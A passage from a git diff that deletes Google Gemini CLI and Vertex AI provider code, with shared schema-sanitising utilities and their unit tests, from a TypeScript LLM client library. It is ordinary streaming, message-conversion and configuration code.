`pi-${Date.now()}-${Math.random().toString(36).slice(2, 11)}`; - // Cast through `any` — cli-core bundles its own nested @google/genai copy, - // so TypeScript sees two structurally-identical-but-distinct Content types. - // The runtime shapes are byte-identical; the nominal split is a packaging - // artefact. - const streamGen = await retryWithBackoff( - () => server.generateContentStream(req as any, promptId, "USER" as any), - { - // SF owns cross-model fallback. Let cli-core classify quota errors, - // but do not let it hold the turn through its 10-attempt retry loop. - maxAttempts: 1, - signal: options?.signal, - }, - ); - - let started = false; - const ensureStarted = () => { - if (!started) { - stream.push({ type: "start", partial: output }); - started = true; - } - }; - - let currentBlock: TextContent | ThinkingContent | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - - for await (const chunk of streamGen) { - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - const candidate = chunk?.candidates?.[0]; - if (candidate?.content?.parts) { - for (const part of candidate.content.parts) { - // Text / thinking block handling - if (part.text !== undefined) { - const isThinking = isThinkingPart(part); - if ( - !currentBlock || - (isThinking && currentBlock.type !== "thinking") || - (!isThinking && currentBlock.type !== "text") - ) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - if (isThinking) { - currentBlock = { - type: "thinking", - thinking: "", - thinkingSignature: undefined, - }; - output.content.push(currentBlock); - ensureStarted(); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } else { - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - ensureStarted(); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - } - if (currentBlock.type === "thinking") { - currentBlock.thinking += part.text; - currentBlock.thinkingSignature = retainThoughtSignature( - currentBlock.thinkingSignature, - part.thoughtSignature, - ); - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } else { - currentBlock.text += part.text; - currentBlock.textSignature = retainThoughtSignature( - currentBlock.textSignature, - part.thoughtSignature, - ); - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } - } - - // Tool-call part - if (part.functionCall) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - currentBlock = null; - } - - const providedId = part.functionCall.id; - const needsNewId = - !providedId || - output.content.some( - (b) => b.type === "toolCall" && b.id === providedId, - ); - const toolCallId = needsNewId - ? `${part.functionCall.name}_${Date.now()}_${++toolCallCounter}` - : providedId; - - const toolCall: ToolCall = { - type: "toolCall", - id: toolCallId, - name: part.functionCall.name || "", - arguments: - (part.functionCall.args as Record) ?? {}, - ...(part.thoughtSignature && { - thoughtSignature: part.thoughtSignature, - }), - }; - - output.content.push(toolCall); - ensureStarted(); - stream.push({ - type: "toolcall_start", - contentIndex: blockIndex(), - partial: output, - }); - stream.push({ - type: "toolcall_delta", - contentIndex: blockIndex(), - delta: JSON.stringify(toolCall.arguments), - partial: output, - }); - stream.push({ - type: "toolcall_end", - contentIndex: blockIndex(), - toolCall, - partial: output, - }); - } - } - } - - if (candidate?.finishReason) { - output.stopReason = mapStopReasonString(candidate.finishReason); - if (output.content.some((b) => b.type === "toolCall")) { - output.stopReason = "toolUse"; - } - } - - if (chunk?.usageMetadata) { - const promptTokens = chunk.usageMetadata.promptTokenCount || 0; - const cacheReadTokens = - chunk.usageMetadata.cachedContentTokenCount || 0; - output.usage = { - input: promptTokens - cacheReadTokens, - output: - (chunk.usageMetadata.candidatesTokenCount || 0) + - (chunk.usageMetadata.thoughtsTokenCount || 0), - cacheRead: cacheReadTokens, - cacheWrite: 0, - totalTokens: chunk.usageMetadata.totalTokenCount || 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }; - calculateCost(model, output.usage); - } - } - - // Close any open text/thinking block after stream ends - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - for (const block of output.content) { - if ("index" in block) { - delete (block as { index?: number }).index; - } - } - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - const retryAfterMs = extractRetryAfterMs(error); - if (retryAfterMs !== undefined) { - output.retryAfterMs = retryAfterMs; - } - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); - - return stream; -}; - -/** - * Simplified stream wrapper that auto-configures thinking based on model and reasoning level. - * - * Reasoning intent is resolved via `buildBaseOptions()` and the `reasoning` flag in `SimpleStreamOptions`. - * For Gemini 3 models, uses the thinkingLevel enum (LOW/HIGH for Pro, MINIMAL/LOW/MEDIUM/HIGH for Flash). - * For Gemini 2.x, maps the requested level to token budgets (default: minimal=1K, low=2K, medium=8K, high=16K). - * Auth is still handled by cli-core (apiKey is ignored). Returns the same `AssistantMessageEventStream` - * as `streamGoogleGeminiCli()` after delegating with appropriate `thinking` config. - */ -export const streamSimpleGoogleGeminiCli: StreamFunction< - "google-gemini-cli", - SimpleStreamOptions -> = ( - model: Model<"google-gemini-cli">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - // cli-core sources auth from ~/.gemini/ — apiKey not required. - const base = buildBaseOptions(model, options, options?.apiKey ?? ""); - if (!options?.reasoning) { - return streamGoogleGeminiCli(model, context, { - ...base, - thinking: { enabled: false }, - } satisfies GoogleGeminiCliOptions); - } - - if (isAutoReasoning(options.reasoning)) { - if (isGemini3Model(model.id)) { - return streamGoogleGeminiCli(model, context, { - ...base, - thinking: { - enabled: true, - level: "THINKING_LEVEL_UNSPECIFIED", - }, - } satisfies GoogleGeminiCliOptions); - } - - return streamGoogleGeminiCli(model, context, { - ...base, - thinking: { - enabled: true, - budgetTokens: -1, - }, - } satisfies GoogleGeminiCliOptions); - } - - const effort = clampReasoning( - resolveReasoningLevel(model, options.reasoning), - )!; - if (isGemini3Model(model.id)) { - return streamGoogleGeminiCli(model, context, { - ...base, - thinking: { - enabled: true, - level: getGeminiCliThinkingLevel(effort, model.id), - }, - } satisfies GoogleGeminiCliOptions); - } - - const defaultBudgets: ThinkingBudgets = { - minimal: 1024, - low: 2048, - medium: 8192, - high: 16384, - }; - const budgets = { ...defaultBudgets, ...options.thinkingBudgets }; - - const minOutputTokens = 1024; - let thinkingBudget = budgets[effort]!; - const maxTokens = Math.min( - (base.maxTokens || 0) + thinkingBudget, - model.maxTokens, - ); - - if (maxTokens <= thinkingBudget) { - thinkingBudget = Math.max(0, maxTokens - minOutputTokens); - } - - return streamGoogleGeminiCli(model, context, { - ...base, - maxTokens, - thinking: { - enabled: true, - budgetTokens: thinkingBudget, - }, - } satisfies GoogleGeminiCliOptions); -}; - -/** - * Build a `GenerateContentParameters` payload for cli-core's `CodeAssistServer.generateContentStream()`. - * - * This is the raw genai Content/Config shape (`@google/genai`), not the legacy Cloud Code Assist envelope. - * cli-core wraps it with project, requestId, User-Agent, and retry logic; we only provide content/tools/config. - * Unlike the old path, we do NOT need to set `project` or `requestId` — cli-core infers project from `setupUser()`. - * Returns the exact shape the server's `generateContentStream()` method expects (casting through `any` - * at the call site handles the vendored `@google/genai` type split). - */ -function buildRequest( - model: Model<"google-gemini-cli">, - context: Context, - options: GoogleGeminiCliOptions = {}, -): GenerateContentParameters { - const contents = convertMessages(model, context); - - const config: NonNullable = {}; - if (options.temperature !== undefined) - config.temperature = options.temperature; - if (options.maxTokens !== undefined) - config.maxOutputTokens = options.maxTokens; - - // Thinking config - if (options.thinking?.enabled && model.reasoning) { - const thinkingConfig: ThinkingConfig = { includeThoughts: true }; - // Gemini 3 models use thinkingLevel, older models use thinkingBudget - if (options.thinking.level !== undefined) { - thinkingConfig.thinkingLevel = options.thinking - .level as ThinkingConfig["thinkingLevel"]; - } else if (options.thinking.budgetTokens !== undefined) { - thinkingConfig.thinkingBudget = options.thinking.budgetTokens; - } - config.thinkingConfig = thinkingConfig; - } - - if (context.systemPrompt) { - config.systemInstruction = { - parts: [{ text: sanitizeSurrogates(context.systemPrompt) }], - } as Content; - } - - if (context.tools && context.tools.length > 0) { - // Claude models historically needed the legacy `parameters` field, but - // Claude via gemini-cli is no longer supported (Antigravity was the - // only path). Keep the useParameters=false default. - const useParameters = false; - config.tools = convertTools(context.tools, useParameters) as NonNullable< - GenerateContentParameters["config"] - >["tools"]; - if (options.toolChoice) { - config.toolConfig = { - functionCallingConfig: { - mode: mapToolChoice(options.toolChoice), - }, - }; - } - } - - return { - model: model.id, - contents, - config, - }; -} - -type ClampedThinkingLevel = Exclude; - -/** - * Map a normalized thinking level (minimal/low/medium/high) to the Gemini 3 wire format. - * - * Gemini 3 Pro only supports LOW/HIGH (maps minimal/low -> LOW, medium/high -> HIGH). - * Gemini 3 Flash supports all four (MINIMAL/LOW/MEDIUM/HIGH one-to-one). - * Used when `options.thinking.level` is set for Gemini 3 models. - */ -function getGeminiCliThinkingLevel( - effort: ClampedThinkingLevel, - modelId: string, -): GoogleThinkingLevel { - if (isGemini3ProModel(modelId)) { - switch (effort) { - case "minimal": - case "low": - return "LOW"; - case "medium": - case "high": - return "HIGH"; - } - } - switch (effort) { - case "minimal": - return "MINIMAL"; - case "low": - return "LOW"; - case "medium": - return "MEDIUM"; - case "high": - return "HIGH"; - } -} diff --git a/packages/pi-ai/src/providers/google-shared.test.ts b/packages/pi-ai/src/providers/google-shared.test.ts deleted file mode 100644 index 7cd6a2d5d..000000000 --- a/packages/pi-ai/src/providers/google-shared.test.ts +++ /dev/null @@ -1,137 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { sanitizeSchemaForGoogle } from "./google-shared.js"; - -// ═══════════════════════════════════════════════════════════════════════════ -// sanitizeSchemaForGoogle -// ═══════════════════════════════════════════════════════════════════════════ - -describe("sanitizeSchemaForGoogle", () => { - it("passes through primitives unchanged", () => { - assert.equal(sanitizeSchemaForGoogle(null), null); - assert.equal(sanitizeSchemaForGoogle(42), 42); - assert.equal(sanitizeSchemaForGoogle("hello"), "hello"); - assert.equal(sanitizeSchemaForGoogle(true), true); - }); - - it("passes through a valid schema with no banned fields", () => { - const schema = { - type: "object", - properties: { - name: { type: "string" }, - age: { type: "number" }, - }, - required: ["name"], - }; - assert.deepEqual(sanitizeSchemaForGoogle(schema), schema); - }); - - it("removes top-level patternProperties", () => { - const schema = { - type: "object", - patternProperties: { "^S_": { type: "string" } }, - properties: { foo: { type: "string" } }, - }; - const result = sanitizeSchemaForGoogle(schema) as Record; - assert.ok(!("patternProperties" in result)); - assert.deepEqual(result.properties, { foo: { type: "string" } }); - }); - - it("removes nested patternProperties", () => { - const schema = { - type: "object", - properties: { - nested: { - type: "object", - patternProperties: { ".*": { type: "string" } }, - }, - }, - }; - const result = sanitizeSchemaForGoogle(schema) as any; - assert.ok(!("patternProperties" in result.properties.nested)); - }); - - it("converts top-level const to enum", () => { - const schema = { const: "fixed-value" }; - const result = sanitizeSchemaForGoogle(schema) as Record; - assert.deepEqual(result.enum, ["fixed-value"]); - assert.ok(!("const" in result)); - }); - - it("converts const to enum inside anyOf", () => { - const schema = { - anyOf: [{ const: "a" }, { const: "b" }, { type: "string" }], - }; - const result = sanitizeSchemaForGoogle(schema) as any; - assert.deepEqual(result.anyOf[0], { enum: ["a"] }); - assert.deepEqual(result.anyOf[1], { enum: ["b"] }); - assert.deepEqual(result.anyOf[2], { type: "string" }); - }); - - it("converts const to enum inside oneOf", () => { - const schema = { - oneOf: [{ const: "x" }, { const: "y" }], - }; - const result = sanitizeSchemaForGoogle(schema) as any; - assert.deepEqual(result.oneOf[0], { enum: ["x"] }); - assert.deepEqual(result.oneOf[1], { enum: ["y"] }); - }); - - it("recursively sanitizes deeply nested schemas", () => { - const schema = { - type: "object", - properties: { - level1: { - type: "object", - properties: { - level2: { - anyOf: [{ const: "deep" }, { type: "null" }], - patternProperties: { ".*": { type: "string" } }, - }, - }, - }, - }, - }; - const result = sanitizeSchemaForGoogle(schema) as any; - const level2 = result.properties.level1.properties.level2; - assert.deepEqual(level2.anyOf[0], { enum: ["deep"] }); - assert.ok(!("patternProperties" in level2)); - }); - - it("sanitizes items in array schemas", () => { - const schema = { - type: "array", - items: { - anyOf: [{ const: "foo" }, { type: "string" }], - }, - }; - const result = sanitizeSchemaForGoogle(schema) as any; - assert.deepEqual(result.items.anyOf[0], { enum: ["foo"] }); - }); - - it("sanitizes arrays of schemas", () => { - const input = [{ const: "a" }, { const: "b" }]; - const result = sanitizeSchemaForGoogle(input) as any[]; - assert.deepEqual(result[0], { enum: ["a"] }); - assert.deepEqual(result[1], { enum: ["b"] }); - }); - - it("preserves non-string const values unchanged", () => { - // Only string const values are converted; number const is passed through - const schema = { const: 42 }; - const result = sanitizeSchemaForGoogle(schema) as Record; - assert.equal(result.const, 42); - assert.ok(!("enum" in result)); - }); - - it("sanitizes additionalProperties", () => { - const schema = { - type: "object", - additionalProperties: { - patternProperties: { "^x-": { type: "string" } }, - }, - }; - const result = sanitizeSchemaForGoogle(schema) as any; - assert.ok(!("patternProperties" in result.additionalProperties)); - }); -}); diff --git a/packages/pi-ai/src/providers/google-shared.ts b/packages/pi-ai/src/providers/google-shared.ts deleted file mode 100644 index 6848d6d07..000000000 --- a/packages/pi-ai/src/providers/google-shared.ts +++ /dev/null @@ -1,423 +0,0 @@ -/** - * Shared utilities for Google Generative AI and Google Cloud Code Assist providers. - */ - -import { - type Content, - FinishReason, - FunctionCallingConfigMode, - type Part, -} from "@google/genai"; -import type { - Context, - ImageContent, - Model, - StopReason, - TextContent, - Tool, -} from "../types.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -type GoogleApiType = - | "google-generative-ai" - | "google-gemini-cli" - | "google-vertex"; - -/** - * Determines whether a streamed Gemini `Part` should be treated as "thinking". - * - * Protocol note (Gemini / Vertex AI thought signatures): - * - `thought: true` is the definitive marker for thinking content (thought summaries). - * - `thoughtSignature` is an encrypted representation of the model's internal thought process - * used to preserve reasoning context across multi-turn interactions. - * - `thoughtSignature` can appear on ANY part type (text, functionCall, etc.) - it does NOT - * indicate the part itself is thinking content. - * - For non-functionCall responses, the signature appears on the last part for context replay. - * - When persisting/replaying model outputs, signature-bearing parts must be preserved as-is; - * do not merge/move signatures across parts. - * - * See: https://ai.google.dev/gemini-api/docs/thought-signatures - */ -export function isThinkingPart( - part: Pick, -): boolean { - return part.thought === true; -} - -/** - * Retain thought signatures during streaming. - * - * Some backends only send `thoughtSignature` on the first delta for a given part/block; later deltas may omit it. - * This helper preserves the last non-empty signature for the current block. - * - * Note: this does NOT merge or move signatures across distinct response parts. It only prevents - * a signature from being overwritten with `undefined` within the same streamed block. - */ -export function retainThoughtSignature( - existing: string | undefined, - incoming: string | undefined, -): string | undefined { - if (typeof incoming === "string" && incoming.length > 0) return incoming; - return existing; -} - -// Thought signatures must be base64 for Google APIs (TYPE_BYTES). -const base64SignaturePattern = /^[A-Za-z0-9+/]+={0,2}$/; - -// Sentinel value that tells the Gemini API to skip thought signature validation. -// Used for unsigned function call parts (e.g. replayed from providers without thought signatures). -// See: https://ai.google.dev/gemini-api/docs/thought-signatures -const SKIP_THOUGHT_SIGNATURE = "skip_thought_signature_validator"; - -function isValidThoughtSignature(signature: string | undefined): boolean { - if (!signature) return false; - if (signature.length % 4 !== 0) return false; - return base64SignaturePattern.test(signature); -} - -/** - * Only keep signatures from the same provider/model and with valid base64. - */ -function resolveThoughtSignature( - isSameProviderAndModel: boolean, - signature: string | undefined, -): string | undefined { - return isSameProviderAndModel && isValidThoughtSignature(signature) - ? signature - : undefined; -} - -/** - * Models via Google APIs that require explicit tool call IDs in function calls/responses. - */ -function requiresToolCallId(modelId: string): boolean { - return modelId.startsWith("claude-") || modelId.startsWith("gpt-oss-"); -} - -/** - * Convert internal messages to Gemini Content[] format. - */ -export function convertMessages( - model: Model, - context: Context, -): Content[] { - const contents: Content[] = []; - const normalizeToolCallId = (id: string): string => { - if (!requiresToolCallId(model.id)) return id; - return id.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 64); - }; - - const transformedMessages = transformMessagesWithReport( - context.messages, - model, - normalizeToolCallId, - "google-generative-ai", - ); - - for (const msg of transformedMessages) { - if (msg.role === "user") { - if (typeof msg.content === "string") { - contents.push({ - role: "user", - parts: [{ text: sanitizeSurrogates(msg.content) }], - }); - } else { - const parts: Part[] = msg.content.map((item) => { - if (item.type === "text") { - return { text: sanitizeSurrogates(item.text) }; - } else { - return { - inlineData: { - mimeType: item.mimeType, - data: item.data, - }, - }; - } - }); - const filteredParts = !model.input.includes("image") - ? parts.filter((p) => p.text !== undefined) - : parts; - if (filteredParts.length === 0) continue; - contents.push({ - role: "user", - parts: filteredParts, - }); - } - } else if (msg.role === "assistant") { - const parts: Part[] = []; - // Check if message is from same provider and model - only then keep thinking blocks - const isSameProviderAndModel = - msg.provider === model.provider && msg.model === model.id; - - for (const block of msg.content) { - if (block.type === "text") { - // Skip empty text blocks - they can cause issues with some models - if (!block.text || block.text.trim() === "") continue; - const thoughtSignature = resolveThoughtSignature( - isSameProviderAndModel, - block.textSignature, - ); - parts.push({ - text: sanitizeSurrogates(block.text), - ...(thoughtSignature && { thoughtSignature }), - }); - } else if (block.type === "thinking") { - // Skip empty thinking blocks - if (!block.thinking || block.thinking.trim() === "") continue; - // Only keep as thinking block if same provider AND same model - // Otherwise convert to plain text (no tags to avoid model mimicking them) - if (isSameProviderAndModel) { - const thoughtSignature = resolveThoughtSignature( - isSameProviderAndModel, - block.thinkingSignature, - ); - parts.push({ - thought: true, - text: sanitizeSurrogates(block.thinking), - ...(thoughtSignature && { thoughtSignature }), - }); - } else { - parts.push({ - text: sanitizeSurrogates(block.thinking), - }); - } - } else if (block.type === "toolCall") { - const thoughtSignature = resolveThoughtSignature( - isSameProviderAndModel, - block.thoughtSignature, - ); - // Gemini 3 requires thoughtSignature on all function calls when thinking mode is enabled. - // Use the skip_thought_signature_validator sentinel for unsigned function calls - // (e.g. replayed from providers without thought signatures). - const isGemini3 = model.id.toLowerCase().includes("gemini-3"); - const effectiveSignature = - thoughtSignature || - (isGemini3 ? SKIP_THOUGHT_SIGNATURE : undefined); - const part: Part = { - functionCall: { - name: block.name, - args: block.arguments ?? {}, - ...(requiresToolCallId(model.id) ? { id: block.id } : {}), - }, - ...(effectiveSignature && { thoughtSignature: effectiveSignature }), - }; - parts.push(part); - } - } - - if (parts.length === 0) continue; - contents.push({ - role: "model", - parts, - }); - } else if (msg.role === "toolResult") { - // Extract text and image content - const textContent = msg.content.filter( - (c): c is TextContent => c.type === "text", - ); - const textResult = textContent.map((c) => c.text).join("\n"); - const imageContent = model.input.includes("image") - ? msg.content.filter((c): c is ImageContent => c.type === "image") - : []; - - const hasText = textResult.length > 0; - const hasImages = imageContent.length > 0; - - // Gemini 3 supports multimodal function responses with images nested inside functionResponse.parts - // See: https://ai.google.dev/gemini-api/docs/function-calling#multimodal - // Older models don't support this, so we put images in a separate user message. - const supportsMultimodalFunctionResponse = model.id.includes("gemini-3"); - - // Use "output" key for success, "error" key for errors as per SDK documentation - const responseValue = hasText - ? sanitizeSurrogates(textResult) - : hasImages - ? "(see attached image)" - : ""; - - const imageParts: Part[] = imageContent.map((imageBlock) => ({ - inlineData: { - mimeType: imageBlock.mimeType, - data: imageBlock.data, - }, - })); - - const includeId = requiresToolCallId(model.id); - const functionResponsePart: Part = { - functionResponse: { - name: msg.toolName, - response: msg.isError - ? { error: responseValue } - : { output: responseValue }, - // Nest images inside functionResponse.parts for Gemini 3 - ...(hasImages && - supportsMultimodalFunctionResponse && { parts: imageParts }), - ...(includeId ? { id: msg.toolCallId } : {}), - }, - }; - - // Cloud Code Assist API requires all function responses to be in a single user turn. - // Check if the last content is already a user turn with function responses and merge. - const lastContent = contents[contents.length - 1]; - if ( - lastContent?.role === "user" && - lastContent.parts?.some((p) => p.functionResponse) - ) { - lastContent.parts.push(functionResponsePart); - } else { - contents.push({ - role: "user", - parts: [functionResponsePart], - }); - } - - // For older models, add images in a separate user message - if (hasImages && !supportsMultimodalFunctionResponse) { - contents.push({ - role: "user", - parts: [{ text: "Tool result image:" }, ...imageParts], - }); - } - } - } - - return contents; -} - -/** - * Sanitize a JSON Schema for Google's function declarations API. - * Google's API rejects `patternProperties` and `const` fields which are valid in JSON Schema. - * - * This function recursively: - * - Removes all `patternProperties` fields - * - Converts `const: "value"` to `enum: ["value"]` in anyOf/oneOf blocks - * - * Needed because Google Cloud Code Assist (google-gemini-cli provider) uses a - * restricted subset of JSON Schema and rejects patternProperties / const. - */ -export function sanitizeSchemaForGoogle(schema: unknown): unknown { - if (!schema || typeof schema !== "object") { - return schema; - } - - if (Array.isArray(schema)) { - return schema.map((item) => sanitizeSchemaForGoogle(item)); - } - - const obj = schema as Record; - const sanitized: Record = {}; - - for (const [key, value] of Object.entries(obj)) { - // Skip patternProperties entirely — not supported by Google's API - if (key === "patternProperties") { - continue; - } - - // Convert const to enum — Google's API rejects the const keyword - if (key === "const" && typeof value === "string") { - sanitized.enum = [value]; - continue; - } - - // Recursively sanitize all nested objects and arrays - if (typeof value === "object") { - sanitized[key] = sanitizeSchemaForGoogle(value); - } else { - sanitized[key] = value; - } - } - - return sanitized; -} - -/** - * Convert tools to Gemini function declarations format. - * - * By default uses `parametersJsonSchema` which supports full JSON Schema (including - * anyOf, oneOf, const, etc.). Set `useParameters` to true to use the legacy `parameters` - * field instead (OpenAPI 3.03 Schema). This is needed for Cloud Code Assist with Claude - * models, where the API translates `parameters` into Anthropic's `input_schema`. - * - * The schema is automatically sanitized to remove fields not supported by Google's - * function declarations API (patternProperties, const converted to enum, etc.). - */ -export function convertTools( - tools: Tool[], - useParameters = false, -): { functionDeclarations: Record[] }[] | undefined { - if (tools.length === 0) return undefined; - return [ - { - functionDeclarations: tools.map((tool) => ({ - name: tool.name, - description: tool.description, - ...(useParameters - ? { parameters: sanitizeSchemaForGoogle(tool.parameters) } - : { parametersJsonSchema: sanitizeSchemaForGoogle(tool.parameters) }), - })), - }, - ]; -} - -/** - * Map tool choice string to Gemini FunctionCallingConfigMode. - */ -export function mapToolChoice(choice: string): FunctionCallingConfigMode { - switch (choice) { - case "auto": - return FunctionCallingConfigMode.AUTO; - case "none": - return FunctionCallingConfigMode.NONE; - case "any": - return FunctionCallingConfigMode.ANY; - default: - return FunctionCallingConfigMode.AUTO; - } -} - -/** - * Map Gemini FinishReason to our StopReason. - */ -export function mapStopReason(reason: FinishReason): StopReason { - switch (reason) { - case FinishReason.STOP: - return "stop"; - case FinishReason.MAX_TOKENS: - return "length"; - case FinishReason.BLOCKLIST: - case FinishReason.PROHIBITED_CONTENT: - case FinishReason.SPII: - case FinishReason.SAFETY: - case FinishReason.IMAGE_SAFETY: - case FinishReason.IMAGE_PROHIBITED_CONTENT: - case FinishReason.IMAGE_RECITATION: - case FinishReason.IMAGE_OTHER: - case FinishReason.RECITATION: - case FinishReason.FINISH_REASON_UNSPECIFIED: - case FinishReason.OTHER: - case FinishReason.LANGUAGE: - case FinishReason.MALFORMED_FUNCTION_CALL: - case FinishReason.UNEXPECTED_TOOL_CALL: - case FinishReason.NO_IMAGE: - return "error"; - default: { - const _exhaustive: never = reason; - throw new Error(`Unhandled stop reason: ${_exhaustive}`); - } - } -} - -/** - * Map string finish reason to our StopReason (for raw API responses). - */ -export function mapStopReasonString(reason: string): StopReason { - switch (reason) { - case "STOP": - return "stop"; - case "MAX_TOKENS": - return "length"; - default: - return "error"; - } -} diff --git a/packages/pi-ai/src/providers/google-vertex.ts b/packages/pi-ai/src/providers/google-vertex.ts deleted file mode 100644 index db2642eee..000000000 --- a/packages/pi-ai/src/providers/google-vertex.ts +++ /dev/null @@ -1,582 +0,0 @@ -// Lazy-loaded: Google GenAI SDK is imported on first use, not at startup. -// This avoids penalizing users who don't use Google Vertex models. -import type { - GenerateContentConfig, - GenerateContentParameters, - GoogleGenAI, - ThinkingConfig, -} from "@google/genai"; -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - Context, - Model, - ThinkingLevel as PiThinkingLevel, - SimpleStreamOptions, - StreamFunction, - StreamOptions, - TextContent, - ThinkingBudgets, - ThinkingContent, - ToolCall, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import type { GoogleThinkingLevel } from "./google-gemini-cli.js"; -import { - convertMessages, - convertTools, - isThinkingPart, - mapStopReason, - mapToolChoice, - retainThoughtSignature, -} from "./google-shared.js"; -import { - buildBaseOptions, - clampReasoning, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -let _GoogleVertexClass: typeof GoogleGenAI | undefined; -async function getGoogleVertexClass(): Promise { - if (!_GoogleVertexClass) { - const mod = await import("@google/genai"); - _GoogleVertexClass = mod.GoogleGenAI; - } - return _GoogleVertexClass; -} - -export interface GoogleVertexOptions extends StreamOptions { - toolChoice?: "auto" | "none" | "any"; - thinking?: { - enabled: boolean; - budgetTokens?: number; // -1 for dynamic, 0 to disable - level?: GoogleThinkingLevel; - }; - project?: string; - location?: string; -} - -const API_VERSION = "v1"; - -// ThinkingLevel is a string enum where each value equals its key name. -// Using string literals avoids importing the SDK at module load time. -const THINKING_LEVEL_MAP: Record = { - THINKING_LEVEL_UNSPECIFIED: "THINKING_LEVEL_UNSPECIFIED", - MINIMAL: "MINIMAL", - LOW: "LOW", - MEDIUM: "MEDIUM", - HIGH: "HIGH", -}; - -// Counter for generating unique tool call IDs -let toolCallCounter = 0; - -export const streamGoogleVertex: StreamFunction< - "google-vertex", - GoogleVertexOptions -> = ( - model: Model<"google-vertex">, - context: Context, - options?: GoogleVertexOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output: AssistantMessage = { - role: "assistant", - content: [], - api: "google-vertex" as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; - - try { - const project = resolveProject(options); - const location = resolveLocation(options); - const client = await createClient( - model, - project, - location, - options?.headers, - ); - let params = buildParams(model, context, options); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = nextParams as GenerateContentParameters; - } - const googleStream = await client.models.generateContentStream(params); - - stream.push({ type: "start", partial: output }); - let currentBlock: TextContent | ThinkingContent | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - for await (const chunk of googleStream) { - const candidate = chunk.candidates?.[0]; - if (candidate?.content?.parts) { - for (const part of candidate.content.parts) { - if (part.text !== undefined) { - const isThinking = isThinkingPart(part); - if ( - !currentBlock || - (isThinking && currentBlock.type !== "thinking") || - (!isThinking && currentBlock.type !== "text") - ) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blocks.length - 1, - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - if (isThinking) { - currentBlock = { - type: "thinking", - thinking: "", - thinkingSignature: undefined, - }; - output.content.push(currentBlock); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } else { - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - } - if (currentBlock.type === "thinking") { - currentBlock.thinking += part.text; - currentBlock.thinkingSignature = retainThoughtSignature( - currentBlock.thinkingSignature, - part.thoughtSignature, - ); - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } else { - currentBlock.text += part.text; - currentBlock.textSignature = retainThoughtSignature( - currentBlock.textSignature, - part.thoughtSignature, - ); - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } - } - - if (part.functionCall) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - currentBlock = null; - } - - const providedId = part.functionCall.id; - const needsNewId = - !providedId || - output.content.some( - (b) => b.type === "toolCall" && b.id === providedId, - ); - const toolCallId = needsNewId - ? `${part.functionCall.name}_${Date.now()}_${++toolCallCounter}` - : providedId; - - const toolCall: ToolCall = { - type: "toolCall", - id: toolCallId, - name: part.functionCall.name || "", - arguments: - (part.functionCall.args as Record) ?? {}, - ...(part.thoughtSignature && { - thoughtSignature: part.thoughtSignature, - }), - }; - - output.content.push(toolCall); - stream.push({ - type: "toolcall_start", - contentIndex: blockIndex(), - partial: output, - }); - stream.push({ - type: "toolcall_delta", - contentIndex: blockIndex(), - delta: JSON.stringify(toolCall.arguments), - 